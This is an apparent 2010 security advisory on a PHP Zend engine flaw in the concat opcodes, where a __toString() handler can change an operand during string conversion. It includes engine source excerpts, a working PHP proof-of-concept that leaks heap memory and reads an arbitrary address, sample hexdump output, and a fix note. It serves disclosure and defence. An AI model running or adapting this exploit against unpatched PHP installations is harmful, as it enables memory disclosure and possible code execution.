MOPS-2010-054: PHP ZEND_CONCAT/ZEND_ASSIGN_CONCAT Opcode Interruption Information Leak and Memory Corruption Vulnerability

May 31st, 2010

PHP’s ZEND_CONCAT/ZEND_ASSIGN_CONCAT opcodes can be abused for information leakage or memory corruption by a userspace error handler interruption attack. This can be leveraged to execute arbitrary code.

Affected versions

Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Stefan Esser during a search for interruption vulnerability examples.

Detailed information

This vulnerability is similar to the other interruption vulnerabilities discussed in Stefan Esser’s talk about interruption vulnerabilities at BlackHat USA 2009 (SLIDES,PAPER). The basic ideas of these exploits is to use a user space interruption of an internal function to destroy the arguments used by the internal function in order to cause information leaks or memory corruptions. The ZEND_CONCAT/ZEND_ASSIGN_CONCAT opcode interruption is different from most of the previously disclosed interruption vulnerabilities because it does not interrupt an internal PHP function, but an opcode handler of the Zend Engine. This is different because the usual recommendation to disable call time pass by reference to fix this vulnerability does not work here.

To understand how the ZEND_CONCAT and ZEND_ASSIGN_CONCAT opcodes can be interrupted by a userspace error handler it is necessary to look into the implementation of the opcodes. Because they are very much alike we will only check the ZEND_CONCAT case.

ZEND_VM_HANDLER(8, ZEND_CONCAT, CONST|TMP|VAR|CV, CONST|TMP|VAR|CV)
{
    zend_op *opline = EX(opline);
    zend_free_op free_op1, free_op2;

    concat_function(&EX_T(opline->result.u.var).tmp_var,
        GET_OP1_ZVAL_PTR(BP_VAR_R),
        GET_OP2_ZVAL_PTR(BP_VAR_R) TSRMLS_CC);
    FREE_OP1();
    FREE_OP2();
    ZEND_VM_NEXT_OPCODE();
}

The handler itself does only call the concat_function() and passes a temporary result variable and the two operands to this function. This is important to remember because both operands can be either constant values, temporary variable registers, normal variables and compiled variables. The concat_function() is implemented as seen below.

ZEND_API int concat_function(zval *result, zval *op1, zval *op2 TSRMLS_DC) /* {{{ */
{
    zval op1_copy, op2_copy;
    int use_copy1 = 0, use_copy2 = 0;

    if (Z_TYPE_P(op1) != IS_STRING) {
        zend_make_printable_zval(op1, &op1_copy, &use_copy1);
    }
    if (Z_TYPE_P(op2) != IS_STRING) {
        zend_make_printable_zval(op2, &op2_copy, &use_copy2);
    }

    if (use_copy1) {
        /* We have created a converted copy of op1. Therefore, op1 won't become the result so
         * we have to free it.
         */

        if (result == op1) {
            zval_dtor(op1);
        }
        op1 = &op1_copy;
    }
    if (use_copy2) {
        op2 = &op2_copy;
    }
    if (result==op1) {  /* special case, perform operations on result */
        uint res_len = Z_STRLEN_P(op1) + Z_STRLEN_P(op2);

        if (Z_STRLEN_P(result) < 0 || (int) (Z_STRLEN_P(op1) + Z_STRLEN_P(op2)) < 0) {
            efree(Z_STRVAL_P(result));
            ZVAL_EMPTY_STRING(result);
            zend_error(E_ERROR, "String size overflow");
        }

        Z_STRVAL_P(result) = erealloc(Z_STRVAL_P(result), res_len+1);

        memcpy(Z_STRVAL_P(result)+Z_STRLEN_P(result), Z_STRVAL_P(op2), Z_STRLEN_P(op2));
        Z_STRVAL_P(result)[res_len]=0;
        Z_STRLEN_P(result) = res_len;
    } else {
        Z_STRLEN_P(result) = Z_STRLEN_P(op1) + Z_STRLEN_P(op2);
        Z_STRVAL_P(result) = (char *) emalloc(Z_STRLEN_P(result) + 1);
        memcpy(Z_STRVAL_P(result), Z_STRVAL_P(op1), Z_STRLEN_P(op1));
        memcpy(Z_STRVAL_P(result)+Z_STRLEN_P(op1), Z_STRVAL_P(op2), Z_STRLEN_P(op2));
        Z_STRVAL_P(result)[Z_STRLEN_P(result)] = 0;
        Z_TYPE_P(result) = IS_STRING;
    }
    if (use_copy1) {
        zval_dtor(op1);
    }
    if (use_copy2) {
        zval_dtor(op2);
    }
    return SUCCESS;
}

We can see that both operands are first converted to strings before they are concatenated. As usual the string conversion supports objects with __toString() methods, which means they are easily interrupted by an attacker. An attacker can therefore use an object with a __toString() method as second operand to change the type of the first operand. In case of the ZEND_CONCAT opcode the first operand and result operand are different, which results in memory for both strings being allocated and then both strings are copied into it. In case of a modified operand non string memory is copied into the buffer.

In case of the ZEND_ASSIGN_CONCAT opcode the first operand and result are the same. This means the first operand is first reallocated and then the second operand is appended. This basically means that an attacker can reallocate arbitrary memory addresses out of the way, which allows to free arbitrary memory blocks. This can be exploited to execute arbitrary code.

Proof of concept, exploit or instructions to reproduce

The following exploit code will leak the content of a hashtable to the attacker and attempt to leak an arbitrary address which results in a crash. The output will look like:

exdump
-------
00000000: 08 00 00 00 07 00 00 00 01 00 00 00 41 41 41 41   ............AAAA
00000010: 00 00 00 00 00 00 00 00 80 FC B4 00 01 00 00 00   ................
00000020: 80 FC B4 00 01 00 00 00 80 FC B4 00 01 00 00 00   ................
00000030: C0 FB B4 00 01 00 00 00 74 43 30 00 01 00 00 00   ........tC0.....
00000040: 00 00 01 41 41 41 41 41 -- -- -- -- -- -- -- --   ...AAAAA

And the exploit is as easy as:

<?php
error_reporting(E_ALL);

class dummyLeakArray
{
    function __toString()
    {
        parse_str("x=1", $GLOBALS['a']);
        return "AAAAA";
    }  
}

/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
    $GLOBALS['a'] = str_repeat("A", 39);
} else {
    $GLOBALS['a'] = str_repeat("A", 67);       
}
$b = new dummyLeakArray();

/* Trigger the Code */
$res = $a . $b;

hexdump($res);



class dummyLeakArbitrary
{
    function __toString()
    {
        $GLOBALS['a'] += 0x55667788;
        return "AAAAA";
    }
}

/* Initialize */
$a = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
$b = new dummyLeakArbitrary();

/* Trigger the Code */
$res = $a . $b;
?>

Notes

In order to fix this vulnerability it is necessary to validate that after the string conversion both operands are indeed strings.




blog comments powered by Disqus